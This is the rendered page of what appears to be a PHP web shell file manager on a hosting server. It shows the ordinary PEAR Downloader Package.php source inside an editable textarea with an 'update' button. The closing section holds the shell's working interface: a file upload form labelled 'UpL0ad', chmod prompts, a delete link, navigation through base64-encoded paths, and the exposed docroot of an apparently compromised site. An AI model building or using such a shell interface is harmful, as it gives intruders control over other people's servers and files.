            if (version_compare($ver, '2.0', '&gt;=')) {
                return $this-&gt;_packagefile-&gt;getDeps(true);
            }

            return $this-&gt;_packagefile-&gt;getDeps();
        } elseif (isset($this-&gt;_downloadURL['info'])) {
            $ver = $this-&gt;_downloadURL['info']-&gt;getPackagexmlVersion();
            if (version_compare($ver, '2.0', '&gt;=')) {
                return $this-&gt;_downloadURL['info']-&gt;getDeps(true);
            }

            return $this-&gt;_downloadURL['info']-&gt;getDeps();
        }

        return array();
    }

    /**
     * @param array Parsed array from {@link PEAR_Registry::parsePackageName()} or a dependency
     *                     returned from getDepDownloadURL()
     */
    function isEqual($param)
    {
        if (is_object($param)) {
            $channel = $param-&gt;getChannel();
            $package = $param-&gt;getPackage();
            if ($param-&gt;getURI()) {
                $param = array(
                    'channel' =&gt; $param-&gt;getChannel(),
                    'package' =&gt; $param-&gt;getPackage(),
                    'version' =&gt; $param-&gt;getVersion(),
                    'uri' =&gt; $param-&gt;getURI(),
                );
            } else {
                $param = array(
                    'channel' =&gt; $param-&gt;getChannel(),
                    'package' =&gt; $param-&gt;getPackage(),
                    'version' =&gt; $param-&gt;getVersion(),
                );
            }
        } else {
            if (isset($param['uri'])) {
                if ($this-&gt;getChannel() != '__uri') {
                    return false;
                }
                return $param['uri'] == $this-&gt;getURI();
            }

            $package = isset($param['package']) ? $param['package'] : $param['info']-&gt;getPackage();
            $channel = isset($param['channel']) ? $param['channel'] : $param['info']-&gt;getChannel();
            if (isset($param['rel'])) {
                if (!class_exists('PEAR_Dependency2')) {
                    require_once 'PEAR/Dependency2.php';
                }

                $newdep = PEAR_Dependency2::normalizeDep($param);
                $newdep = $newdep[0];
            } elseif (isset($param['min'])) {
                $newdep = $param;
            }
        }

        if (isset($newdep)) {
            if (!isset($newdep['min'])) {
                $newdep['min'] = '0';
            }

            if (!isset($newdep['max'])) {
                $newdep['max'] = '100000000000000000000';
            }

            // use magic to support pecl packages suddenly jumping to the pecl channel
            // we need to support both dependency possibilities
            if ($channel == 'pear.php.net' &amp;&amp; $this-&gt;getChannel() == 'pecl.php.net') {
                if ($package == $this-&gt;getPackage()) {
                    $channel = 'pecl.php.net';
                }
            }
            if ($channel == 'pecl.php.net' &amp;&amp; $this-&gt;getChannel() == 'pear.php.net') {
                if ($package == $this-&gt;getPackage()) {
                    $channel = 'pear.php.net';
                }
            }

            return (strtolower($package) == strtolower($this-&gt;getPackage()) &amp;&amp;
                $channel == $this-&gt;getChannel() &amp;&amp;
                version_compare($newdep['min'], $this-&gt;getVersion(), '&lt;=') &amp;&amp;
                version_compare($newdep['max'], $this-&gt;getVersion(), '&gt;='));
        }

        // use magic to support pecl packages suddenly jumping to the pecl channel
        if ($channel == 'pecl.php.net' &amp;&amp; $this-&gt;getChannel() == 'pear.php.net') {
            if (strtolower($package) == strtolower($this-&gt;getPackage())) {
                $channel = 'pear.php.net';
            }
        }

        if (isset($param['version'])) {
            return (strtolower($package) == strtolower($this-&gt;getPackage()) &amp;&amp;
                $channel == $this-&gt;getChannel() &amp;&amp;
                $param['version'] == $this-&gt;getVersion());
        }

        return strtolower($package) == strtolower($this-&gt;getPackage()) &amp;&amp;
            $channel == $this-&gt;getChannel();
    }

    function isInstalled($dep, $oper = '==')
    {
        if (!$dep) {
            return false;
        }

        if ($oper != 'ge' &amp;&amp; $oper != 'gt' &amp;&amp; $oper != 'has' &amp;&amp; $oper != '==') {
            return false;
        }

        if (is_object($dep)) {
            $package = $dep-&gt;getPackage();
            $channel = $dep-&gt;getChannel();
            if ($dep-&gt;getURI()) {
                $dep = array(
                    'uri' =&gt; $dep-&gt;getURI(),
                    'version' =&gt; $dep-&gt;getVersion(),
                );
            } else {
                $dep = array(
                    'version' =&gt; $dep-&gt;getVersion(),
                );
            }
        } else {
            if (isset($dep['uri'])) {
                $channel = '__uri';
                $package = $dep['dep']['name'];
            } else {
                $channel = $dep['info']-&gt;getChannel();
                $package = $dep['info']-&gt;getPackage();
            }
        }

        $options = $this-&gt;_downloader-&gt;getOptions();
        $test    = $this-&gt;_installRegistry-&gt;packageExists($package, $channel);
        if (!$test &amp;&amp; $channel == 'pecl.php.net') {
            // do magic to allow upgrading from old pecl packages to new ones
            $test = $this-&gt;_installRegistry-&gt;packageExists($package, 'pear.php.net');
            $channel = 'pear.php.net';
        }

        if ($test) {
            if (isset($dep['uri'])) {
                if ($this-&gt;_installRegistry-&gt;packageInfo($package, 'uri', '__uri') == $dep['uri']) {
                    return true;
                }
            }

            if (isset($options['upgrade'])) {
                $packageVersion = $this-&gt;_installRegistry-&gt;packageInfo($package, 'version', $channel);
                if (version_compare($packageVersion, $dep['version'], '&gt;=')) {
                    return true;
                }

                return false;
            }

            return true;
        }

        return false;
    }

    /**
     * Detect duplicate package names with differing versions
     *
     * If a user requests to install Date 1.4.6 and Date 1.4.7,
     * for instance, this is a logic error.  This method
     * detects this situation.
     *
     * @param array $params array of PEAR_Downloader_Package objects
     * @param array $errorparams empty array
     * @return array array of stupid duplicated packages in PEAR_Downloader_Package obejcts
     */
    public static function detectStupidDuplicates($params, &amp;$errorparams)
    {
        $existing = array();
        foreach ($params as $i =&gt; $param) {
            $package = $param-&gt;getPackage();
            $channel = $param-&gt;getChannel();
            $group   = $param-&gt;getGroup();
            if (!isset($existing[$channel . '/' . $package])) {
                $existing[$channel . '/' . $package] = array();
            }

            if (!isset($existing[$channel . '/' . $package][$group])) {
                $existing[$channel . '/' . $package][$group] = array();
            }

            $existing[$channel . '/' . $package][$group][] = $i;
        }

        $indices = array();
        foreach ($existing as $package =&gt; $groups) {
            foreach ($groups as $group =&gt; $dupes) {
                if (count($dupes) &gt; 1) {
                    $indices = $indices + $dupes;
                }
            }
        }

        $indices = array_unique($indices);
        foreach ($indices as $index) {
            $errorparams[] = $params[$index];
        }

        return count($errorparams);
    }

    /**
     * @param array
     * @param bool ignore install groups - for final removal of dupe packages
     */
    public static function removeDuplicates(&amp;$params, $ignoreGroups = false)
    {
        $pnames = array();
        foreach ($params as $i =&gt; $param) {
            if (!$param) {
                continue;
            }

            if ($param-&gt;getPackage()) {
                $group = $ignoreGroups ? '' : $param-&gt;getGroup();
                $pnames[$i] = $param-&gt;getChannel() . '/' .
                    $param-&gt;getPackage() . '-' . $param-&gt;getVersion() . '#' . $group;
            }
        }

        $pnames = array_unique($pnames);
        $unset  = array_diff(array_keys($params), array_keys($pnames));
        $testp  = array_flip($pnames);
        foreach ($params as $i =&gt; $param) {
            if (!$param) {
                $unset[] = $i;
                continue;
            }

            if (!is_a($param, 'PEAR_Downloader_Package')) {
                $unset[] = $i;
                continue;
            }

            $group = $ignoreGroups ? '' : $param-&gt;getGroup();
            if (!isset($testp[$param-&gt;getChannel() . '/' . $param-&gt;getPackage() . '-' .
                  $param-&gt;getVersion() . '#' . $group])) {
                $unset[] = $i;
            }
        }

        foreach ($unset as $i) {
            unset($params[$i]);
        }

        $ret = array();
        foreach ($params as $i =&gt; $param) {
            $ret[] = &amp;$params[$i];
        }

        $params = array();
        foreach ($ret as $i =&gt; $param) {
            $params[] = &amp;$ret[$i];
        }
    }

    function explicitState()
    {
        return $this-&gt;_explicitState;
    }

    function setExplicitState($s)
    {
        $this-&gt;_explicitState = $s;
    }

    /**
     */
    public static function mergeDependencies(&amp;$params)
    {
        $bundles = $newparams = array();
        foreach ($params as $i =&gt; $param) {
            if (!$param-&gt;isBundle()) {
                continue;
            }

            $bundles[] = $i;
            $pf = &amp;$param-&gt;getPackageFile();
            $newdeps = array();
            $contents = $pf-&gt;getBundledPackages();
            if (!is_array($contents)) {
                $contents = array($contents);
            }

            foreach ($contents as $file) {
                $filecontents = $pf-&gt;getFileContents($file);
                $dl = &amp;$param-&gt;getDownloader();
                $options = $dl-&gt;getOptions();
                if (PEAR::isError($dir = $dl-&gt;getDownloadDir())) {
                    return $dir;
                }

                $fp = @fopen($dir . DIRECTORY_SEPARATOR . $file, 'wb');
                if (!$fp) {
                    continue;
                }

                // FIXME do symlink check

                fwrite($fp, $filecontents, strlen($filecontents));
                fclose($fp);
                if ($s = $params[$i]-&gt;explicitState()) {
                    $obj-&gt;setExplicitState($s);
                }

                $obj = new PEAR_Downloader_Package($params[$i]-&gt;getDownloader());
                PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
                if (PEAR::isError($dir = $dl-&gt;getDownloadDir())) {
                    PEAR::popErrorHandling();
                    return $dir;
                }
                $a = $dir . DIRECTORY_SEPARATOR . $file;
                $e = $obj-&gt;_fromFile($a);
                PEAR::popErrorHandling();
                if (PEAR::isError($e)) {
                    if (!isset($options['soft'])) {
                        $dl-&gt;log(0, $e-&gt;getMessage());
                    }
                    continue;
                }

                if (!PEAR_Downloader_Package::willDownload($obj,
                      array_merge($params, $newparams)) &amp;&amp; !$param-&gt;isInstalled($obj)) {
                    $newparams[] = $obj;
                }
            }
        }

        foreach ($bundles as $i) {
            unset($params[$i]); // remove bundles - only their contents matter for installation
        }

        PEAR_Downloader_Package::removeDuplicates($params); // strip any unset indices
        if (count($newparams)) { // add in bundled packages for install
            foreach ($newparams as $i =&gt; $unused) {
                $params[] = &amp;$newparams[$i];
            }
            $newparams = array();
        }

        foreach ($params as $i =&gt; $param) {
            $newdeps = array();
            foreach ($param-&gt;_downloadDeps as $dep) {
                $merge = array_merge($params, $newparams);
                if (!PEAR_Downloader_Package::willDownload($dep, $merge)
                    &amp;&amp; !$param-&gt;isInstalled($dep)
                ) {
                    $newdeps[] = $dep;
                } else {
                    //var_dump($dep);
                    // detect versioning conflicts here
                }
            }

            // convert the dependencies into PEAR_Downloader_Package objects for the next time around
            $params[$i]-&gt;_downloadDeps = array();
            foreach ($newdeps as $dep) {
                $obj = new PEAR_Downloader_Package($params[$i]-&gt;getDownloader());
                if ($s = $params[$i]-&gt;explicitState()) {
                    $obj-&gt;setExplicitState($s);
                }

                PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
                $e = $obj-&gt;fromDepURL($dep);
                PEAR::popErrorHandling();
                if (PEAR::isError($e)) {
                    if (!isset($options['soft'])) {
                        $obj-&gt;_downloader-&gt;log(0, $e-&gt;getMessage());
                    }
                    continue;
                }

                $e = $obj-&gt;detectDependencies($params);
                if (PEAR::isError($e)) {
                    if (!isset($options['soft'])) {
                        $obj-&gt;_downloader-&gt;log(0, $e-&gt;getMessage());
                    }
                }

                $newparams[] = $obj;
            }
        }

        if (count($newparams)) {
            foreach ($newparams as $i =&gt; $unused) {
                $params[] = &amp;$newparams[$i];
            }
            return true;
        }

        return false;
    }


    /**
     */
    public static function willDownload($param, $params)
    {
        if (!is_array($params)) {
            return false;
        }

        foreach ($params as $obj) {
            if ($obj-&gt;isEqual($param)) {
                return true;
            }
        }

        return false;
    }

    /**
     * For simpler unit-testing
     * @param PEAR_Config
     * @param int
     * @param string
     */
    function &amp;getPackagefileObject(&amp;$c, $d)
    {
        $a = new PEAR_PackageFile($c, $d);
        return $a;
    }

    /**
     * This will retrieve from a local file if possible, and parse out
     * a group name as well.  The original parameter will be modified to reflect this.
     * @param string|array can be a parsed package name as well
     * @access private
     */
    function _fromFile(&amp;$param)
    {
        $saveparam = $param;
        if (is_string($param) &amp;&amp; substr($param, 0, 10) !== 'channel://') {
            if (!@file_exists($param)) {
                $test = explode('#', $param);
                $group = array_pop($test);
                if (@file_exists(implode('#', $test))) {
                    $this-&gt;setGroup($group);
                    $param = implode('#', $test);
                    $this-&gt;_explicitGroup = true;
                }
            }

            if (@is_file($param)) {
                $this-&gt;_type = 'local';
                $options = $this-&gt;_downloader-&gt;getOptions();
                $pkg = &amp;$this-&gt;getPackagefileObject($this-&gt;_config, $this-&gt;_downloader-&gt;_debug);
                PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
                $pf = &amp;$pkg-&gt;fromAnyFile($param, PEAR_VALIDATE_INSTALLING);
                PEAR::popErrorHandling();
                if (PEAR::isError($pf)) {
                    $this-&gt;_valid = false;
                    $param = $saveparam;
                    return $pf;
                }
                $this-&gt;_packagefile = &amp;$pf;
                if (!$this-&gt;getGroup()) {
                    $this-&gt;setGroup('default'); // install the default dependency group
                }
                return $this-&gt;_valid = true;
            }
        }
        $param = $saveparam;
        return $this-&gt;_valid = false;
    }

    function _fromUrl($param, $saveparam = '')
    {
        if (!is_array($param) &amp;&amp; (preg_match('#^(http|https|ftp)://#', $param))) {
            $options = $this-&gt;_downloader-&gt;getOptions();
            $this-&gt;_type = 'url';
            $callback = $this-&gt;_downloader-&gt;ui ?
                array(&amp;$this-&gt;_downloader, '_downloadCallback') : null;
            $this-&gt;_downloader-&gt;pushErrorHandling(PEAR_ERROR_RETURN);
            if (PEAR::isError($dir = $this-&gt;_downloader-&gt;getDownloadDir())) {
                $this-&gt;_downloader-&gt;popErrorHandling();
                return $dir;
            }

            $this-&gt;_downloader-&gt;log(3, 'Downloading &quot;' . $param . '&quot;');
            $file = $this-&gt;_downloader-&gt;downloadHttp($param, $this-&gt;_downloader-&gt;ui,
                $dir, $callback, null, false, $this-&gt;getChannel());
            $this-&gt;_downloader-&gt;popErrorHandling();
            if (PEAR::isError($file)) {
                if (!empty($saveparam)) {
                    $saveparam = &quot;, cannot download \&quot;$saveparam\&quot;&quot;;
                }
                $err = PEAR::raiseError('Could not download from &quot;' . $param .
                    '&quot;' . $saveparam . ' (' . $file-&gt;getMessage() . ')');
                    return $err;
            }

            if ($this-&gt;_rawpackagefile) {
                require_once 'Archive/Tar.php';
                $tar = new Archive_Tar($file);
                $packagexml = $tar-&gt;extractInString('package2.xml');
                if (!$packagexml) {
                    $packagexml = $tar-&gt;extractInString('package.xml');
                }

                if (str_replace(array(&quot;\n&quot;, &quot;\r&quot;), array('',''), $packagexml) !=
                      str_replace(array(&quot;\n&quot;, &quot;\r&quot;), array('',''), $this-&gt;_rawpackagefile)) {
                    if ($this-&gt;getChannel() != 'pear.php.net') {
                        return PEAR::raiseError('CRITICAL ERROR: package.xml downloaded does ' .
                            'not match value returned from xml-rpc');
                    }

                    // be more lax for the existing PEAR packages that have not-ok
                    // characters in their package.xml
                    $this-&gt;_downloader-&gt;log(0, 'CRITICAL WARNING: The &quot;' .
                        $this-&gt;getPackage() . '&quot; package has invalid characters in its ' .
                        'package.xml.  The next version of PEAR may not be able to install ' .
                        'this package for security reasons.  Please open a bug report at ' .
                        'http://pear.php.net/package/' . $this-&gt;getPackage() . '/bugs');
                }
            }

            // whew, download worked!
            $pkg = &amp;$this-&gt;getPackagefileObject($this-&gt;_config, $this-&gt;_downloader-&gt;debug);

            PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
            $pf = &amp;$pkg-&gt;fromAnyFile($file, PEAR_VALIDATE_INSTALLING);
            PEAR::popErrorHandling();
            if (PEAR::isError($pf)) {
                if (is_array($pf-&gt;getUserInfo())) {
                    foreach ($pf-&gt;getUserInfo() as $err) {
                        if (is_array($err)) {
                            $err = $err['message'];
                        }

                        if (!isset($options['soft'])) {
                            $this-&gt;_downloader-&gt;log(0, &quot;Validation Error: $err&quot;);
                        }
                    }
                }

                if (!isset($options['soft'])) {
                    $this-&gt;_downloader-&gt;log(0, $pf-&gt;getMessage());
                }

                ///FIXME need to pass back some error code that we can use to match with to cancel all further operations
                /// At least stop all deps of this package from being installed
                $out = $saveparam ? $saveparam : $param;
                $err = PEAR::raiseError('Download of &quot;' . $out . '&quot; succeeded, but it is not a valid package archive');
                $this-&gt;_valid = false;
                return $err;
            }

            $this-&gt;_packagefile = &amp;$pf;
            $this-&gt;setGroup('default'); // install the default dependency group
            return $this-&gt;_valid = true;
        }

        return $this-&gt;_valid = false;
    }

    /**
     *
     * @param string|array pass in an array of format
     *                     array(
     *                      'package' =&gt; 'pname',
     *                     ['channel' =&gt; 'channame',]
     *                     ['version' =&gt; 'version',]
     *                     ['state' =&gt; 'state',])
     *                     or a string of format [channame/]pname[-version|-state]
     */
    function _fromString($param)
    {
        $options = $this-&gt;_downloader-&gt;getOptions();
        $channel = $this-&gt;_config-&gt;get('default_channel');
        PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
        $pname = $this-&gt;_registry-&gt;parsePackageName($param, $channel);
        PEAR::popErrorHandling();
        if (PEAR::isError($pname)) {
            if ($pname-&gt;getCode() == 'invalid') {
                $this-&gt;_valid = false;
                return false;
            }

            if ($pname-&gt;getCode() == 'channel') {
                $parsed = $pname-&gt;getUserInfo();
                if ($this-&gt;_downloader-&gt;discover($parsed['channel'])) {
                    if ($this-&gt;_config-&gt;get('auto_discover')) {
                        PEAR::pushErrorHandling(PEAR_ERROR_RETURN);
                        $pname = $this-&gt;_registry-&gt;parsePackageName($param, $channel);
                        PEAR::popErrorHandling();
                    } else {
                        if (!isset($options['soft'])) {
                            $this-&gt;_downloader-&gt;log(0, 'Channel &quot;' . $parsed['channel'] .
                                '&quot; is not initialized, use ' .
                                '&quot;pear channel-discover ' . $parsed['channel'] . '&quot; to initialize' .
                                'or pear config-set auto_discover 1');
                        }
                    }
                }

                if (PEAR::isError($pname)) {
                    if (!isset($options['soft'])) {
                        $this-&gt;_downloader-&gt;log(0, $pname-&gt;getMessage());
                    }

                    if (is_array($param)) {
                        $param = $this-&gt;_registry-&gt;parsedPackageNameToString($param);
                    }

                    $err = PEAR::raiseError('invalid package name/package file &quot;' . $param . '&quot;');
                    $this-&gt;_valid = false;
                    return $err;
                }
            } else {
                if (!isset($options['soft'])) {
                    $this-&gt;_downloader-&gt;log(0, $pname-&gt;getMessage());
                }

                $err = PEAR::raiseError('invalid package name/package file &quot;' . $param . '&quot;');
                $this-&gt;_valid = false;
                return $err;
            }
        }

        if (!isset($this-&gt;_type)) {
            $this-&gt;_type = 'rest';
        }

        $this-&gt;_parsedname    = $pname;
        $this-&gt;_explicitState = isset($pname['state']) ? $pname['state'] : false;
        $this-&gt;_explicitGroup = isset($pname['group']) ? true : false;

        $info = $this-&gt;_downloader-&gt;_getPackageDownloadUrl($pname);
        if (PEAR::isError($info)) {
            if ($info-&gt;getCode() != -976 &amp;&amp; $pname['channel'] == 'pear.php.net') {
                // try pecl
                $pname['channel'] = 'pecl.php.net';
                if ($test = $this-&gt;_downloader-&gt;_getPackageDownloadUrl($pname)) {
                    if (!PEAR::isError($test)) {
                        $info = PEAR::raiseError($info-&gt;getMessage() . ' - package ' .
                            $this-&gt;_registry-&gt;parsedPackageNameToString($pname, true) .
                            ' can be installed with &quot;pecl install ' . $pname['package'] .
                            '&quot;');
                    } else {
                        $pname['channel'] = 'pear.php.net';
                    }
                } else {
                    $pname['channel'] = 'pear.php.net';
                }
            }

            return $info;
        }

        $this-&gt;_rawpackagefile = $info['raw'];
        $ret = $this-&gt;_analyzeDownloadURL($info, $param, $pname);
        if (PEAR::isError($ret)) {
            return $ret;
        }

        if ($ret) {
            $this-&gt;_downloadURL = $ret;
            return $this-&gt;_valid = (bool) $ret;
        }
    }

    /**
     * @param array output of package.getDownloadURL
     * @param string|array|object information for detecting packages to be downloaded, and
     *                            for errors
     * @param array name information of the package
     * @param array|null packages to be downloaded
     * @param bool is this an optional dependency?
     * @param bool is this any kind of dependency?
     * @access private
     */
    function _analyzeDownloadURL($info, $param, $pname, $params = null, $optional = false,
                                 $isdependency = false)
    {
        if (!is_string($param) &amp;&amp; PEAR_Downloader_Package::willDownload($param, $params)) {
            return false;
        }

        if ($info === false) {
            $saveparam = !is_string($param) ? &quot;, cannot download \&quot;$param\&quot;&quot; : '';

            // no releases exist
            return PEAR::raiseError('No releases for package &quot;' .
                $this-&gt;_registry-&gt;parsedPackageNameToString($pname, true) . '&quot; exist' . $saveparam);
        }

        if (strtolower($info['info']-&gt;getChannel()) != strtolower($pname['channel'])) {
            $err = false;
            if ($pname['channel'] == 'pecl.php.net') {
                if ($info['info']-&gt;getChannel() != 'pear.php.net') {
                    $err = true;
                }
            } elseif ($info['info']-&gt;getChannel() == 'pecl.php.net') {
                if ($pname['channel'] != 'pear.php.net') {
                    $err = true;
                }
            } else {
                $err = true;
            }

            if ($err) {
                return PEAR::raiseError('SECURITY ERROR: package in channel &quot;' . $pname['channel'] .
                    '&quot; retrieved another channel\'s name for download! (&quot;' .
                    $info['info']-&gt;getChannel() . '&quot;)');
            }
        }

        $preferred_state = $this-&gt;_config-&gt;get('preferred_state');
        if (!isset($info['url'])) {
            $package_version = $this-&gt;_registry-&gt;packageInfo($info['info']-&gt;getPackage(),
            'version', $info['info']-&gt;getChannel());
            if ($this-&gt;isInstalled($info)) {
                if ($isdependency &amp;&amp; version_compare($info['version'], $package_version, '&lt;=')) {
                    // ignore bogus errors of &quot;failed to download dependency&quot;
                    // if it is already installed and the one that would be
                    // downloaded is older or the same version (Bug #7219)
                    return false;
                }
            }

            if ($info['version'] === $package_version) {
                if (!isset($options['soft'])) {
                    $this-&gt;_downloader-&gt;log(1, 'WARNING: failed to download ' . $pname['channel'] .
                        '/' . $pname['package'] . '-' . $package_version. ', additionally the suggested version' .
                        ' (' . $package_version . ') is the same as the locally installed one.');
                }

                return false;
            }

            if (version_compare($info['version'], $package_version, '&lt;=')) {
                if (!isset($options['soft'])) {
                    $this-&gt;_downloader-&gt;log(1, 'WARNING: failed to download ' . $pname['channel'] .
                        '/' . $pname['package'] . '-' . $package_version . ', additionally the suggested version' .
                        ' (' . $info['version'] . ') is a lower version than the locally installed one (' . $package_version . ').');
                }

                return false;
            }

            $instead =  ', will instead download version ' . $info['version'] .
                        ', stability &quot;' . $info['info']-&gt;getState() . '&quot;';
            // releases exist, but we failed to get any
            if (isset($this-&gt;_downloader-&gt;_options['force'])) {
                if (isset($pname['version'])) {
                    $vs = ', version &quot;' . $pname['version'] . '&quot;';
                } elseif (isset($pname['state'])) {
                    $vs = ', stability &quot;' . $pname['state'] . '&quot;';
                } elseif ($param == 'dependency') {
                    if (!class_exists('PEAR_Common')) {
                        require_once 'PEAR/Common.php';
                    }

                    if (!in_array($info['info']-&gt;getState(),
                          PEAR_Common::betterStates($preferred_state, true))) {
                        if ($optional) {
                            // don't spit out confusing error message
                            return $this-&gt;_downloader-&gt;_getPackageDownloadUrl(
                                array('package' =&gt; $pname['package'],
                                      'channel' =&gt; $pname['channel'],
                                      'version' =&gt; $info['version']));
                        }
                        $vs = ' within preferred state &quot;' . $preferred_state .
                            '&quot;';
                    } else {
                        if (!class_exists('PEAR_Dependency2')) {
                            require_once 'PEAR/Dependency2.php';
                        }

                        if ($optional) {
                            // don't spit out confusing error message
                            return $this-&gt;_downloader-&gt;_getPackageDownloadUrl(
                                array('package' =&gt; $pname['package'],
                                      'channel' =&gt; $pname['channel'],
                                      'version' =&gt; $info['version']));
                        }
                        $vs = PEAR_Dependency2::_getExtraString($pname);
                        $instead = '';
                    }
                } else {
                    $vs = ' within preferred state &quot;' . $preferred_state . '&quot;';
                }

                if (!isset($options['soft'])) {
                    $this-&gt;_downloader-&gt;log(1, 'WARNING: failed to download ' . $pname['channel'] .
                        '/' . $pname['package'] . $vs . $instead);
                }

                // download the latest release
                return $this-&gt;_downloader-&gt;_getPackageDownloadUrl(
                    array('package' =&gt; $pname['package'],
                          'channel' =&gt; $pname['channel'],
                          'version' =&gt; $info['version']));
            } else {
                if (isset($info['php']) &amp;&amp; $info['php']) {
                    $err = PEAR::raiseError('Failed to download ' .
                        $this-&gt;_registry-&gt;parsedPackageNameToString(
                            array('channel' =&gt; $pname['channel'],
                                  'package' =&gt; $pname['package']),
                                true) .
                        ', latest release is version ' . $info['php']['v'] .
                        ', but it requires PHP version &quot;' .
                        $info['php']['m'] . '&quot;, use &quot;' .
                        $this-&gt;_registry-&gt;parsedPackageNameToString(
                            array('channel' =&gt; $pname['channel'], 'package' =&gt; $pname['package'],
                            'version' =&gt; $info['php']['v'])) . '&quot; to install',
                            PEAR_DOWNLOADER_PACKAGE_PHPVERSION);
                    return $err;
                }

                // construct helpful error message
                if (isset($pname['version'])) {
                    $vs = ', version &quot;' . $pname['version'] . '&quot;';
                } elseif (isset($pname['state'])) {
                    $vs = ', stability &quot;' . $pname['state'] . '&quot;';
                } elseif ($param == 'dependency') {
                    if (!class_exists('PEAR_Common')) {
                        require_once 'PEAR/Common.php';
                    }

                    if (!in_array($info['info']-&gt;getState(),
                          PEAR_Common::betterStates($preferred_state, true))) {
                        if ($optional) {
                            // don't spit out confusing error message, and don't die on
                            // optional dep failure!
                            return $this-&gt;_downloader-&gt;_getPackageDownloadUrl(
                                array('package' =&gt; $pname['package'],
                                      'channel' =&gt; $pname['channel'],
                                      'version' =&gt; $info['version']));
                        }
                        $vs = ' within preferred state &quot;' . $preferred_state . '&quot;';
                    } else {
                        if (!class_exists('PEAR_Dependency2')) {
                            require_once 'PEAR/Dependency2.php';
                        }

                        if ($optional) {
                            // don't spit out confusing error message, and don't die on
                            // optional dep failure!
                            return $this-&gt;_downloader-&gt;_getPackageDownloadUrl(
                                array('package' =&gt; $pname['package'],
                                      'channel' =&gt; $pname['channel'],
                                      'version' =&gt; $info['version']));
                        }
                        $vs = PEAR_Dependency2::_getExtraString($pname);
                    }
                } else {
                    $vs = ' within preferred state &quot;' . $this-&gt;_downloader-&gt;config-&gt;get('preferred_state') . '&quot;';
                }

                $options = $this-&gt;_downloader-&gt;getOptions();
                // this is only set by the &quot;download-all&quot; command
                if (isset($options['ignorepreferred_state'])) {
                    $err = PEAR::raiseError(
                        'Failed to download ' . $this-&gt;_registry-&gt;parsedPackageNameToString(
                            array('channel' =&gt; $pname['channel'], 'package' =&gt; $pname['package']),
                                true)
                         . $vs .
                        ', latest release is version ' . $info['version'] .
                        ', stability &quot;' . $info['info']-&gt;getState() . '&quot;, use &quot;' .
                        $this-&gt;_registry-&gt;parsedPackageNameToString(
                            array('channel' =&gt; $pname['channel'], 'package' =&gt; $pname['package'],
                            'version' =&gt; $info['version'])) . '&quot; to install',
                            PEAR_DOWNLOADER_PACKAGE_STATE);
                    return $err;
                }

                // Checks if the user has a package installed already and checks the release against
                // the state against the installed package, this allows upgrades for packages
                // with lower stability than the preferred_state
                $stability = $this-&gt;_registry-&gt;packageInfo($pname['package'], 'stability', $pname['channel']);
                if (!$this-&gt;isInstalled($info)
                    || !in_array($info['info']-&gt;getState(), PEAR_Common::betterStates($stability['release'], true))
                ) {
                    $err = PEAR::raiseError(
                        'Failed to download ' . $this-&gt;_registry-&gt;parsedPackageNameToString(
                            array('channel' =&gt; $pname['channel'], 'package' =&gt; $pname['package']),
                                true)
                         . $vs .
                        ', latest release is version ' . $info['version'] .
                        ', stability &quot;' . $info['info']-&gt;getState() . '&quot;, use &quot;' .
                        $this-&gt;_registry-&gt;parsedPackageNameToString(
                            array('channel' =&gt; $pname['channel'], 'package' =&gt; $pname['package'],
                            'version' =&gt; $info['version'])) . '&quot; to install');
                    return $err;
                }
            }
        }

        if (isset($info['deprecated']) &amp;&amp; $info['deprecated']) {
            $this-&gt;_downloader-&gt;log(0,
                'WARNING: &quot;' .
                    $this-&gt;_registry-&gt;parsedPackageNameToString(
                            array('channel' =&gt; $info['info']-&gt;getChannel(),
                                  'package' =&gt; $info['info']-&gt;getPackage()), true) .
                '&quot; is deprecated in favor of &quot;' .
                    $this-&gt;_registry-&gt;parsedPackageNameToString($info['deprecated'], true) .
                '&quot;');
        }

        return $info;
    }
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvNDY5ZWQyZjYtNGQ0Yi00YThhLTlmNWUtZWU0ZWYwNGQzYmM4L3B1YmxpY19odG1s">/var/www/469ed2f6-4d4b-4a8a-9f5e-ee4ef04d3bc8/public_html</a><hr>curdir: /opt/ecp-php74/lib/php/PEAR/Downloader<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwNzQvbGliL3BocC9QRUFSL0Rvd25sb2FkZXI="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwNzQvbGliL3BocC9QRUFSL0Rvd25sb2FkZXI=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwNzQvbGliL3BocC9QRUFS"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwNzQvbGliL3BocC9QRUFSL0Rvd25sb2FkZXI=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9lY3AtcGhwNzQvbGliL3BocC9QRUFSL0Rvd25sb2FkZXI=&x=UGFja2FnZS5waHA=">X</a></td><td><a href="?d=L29wdC9lY3AtcGhwNzQvbGliL3BocC9QRUFSL0Rvd25sb2FkZXI=&f=UGFja2FnZS5waHA="/>Package.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwNzQvbGliL3BocC9QRUFSL0Rvd25sb2FkZXI=&f=UGFja2FnZS5waHA=&c=`+btoa(c):0" value="0644"></td><td>76207</td></tr></table>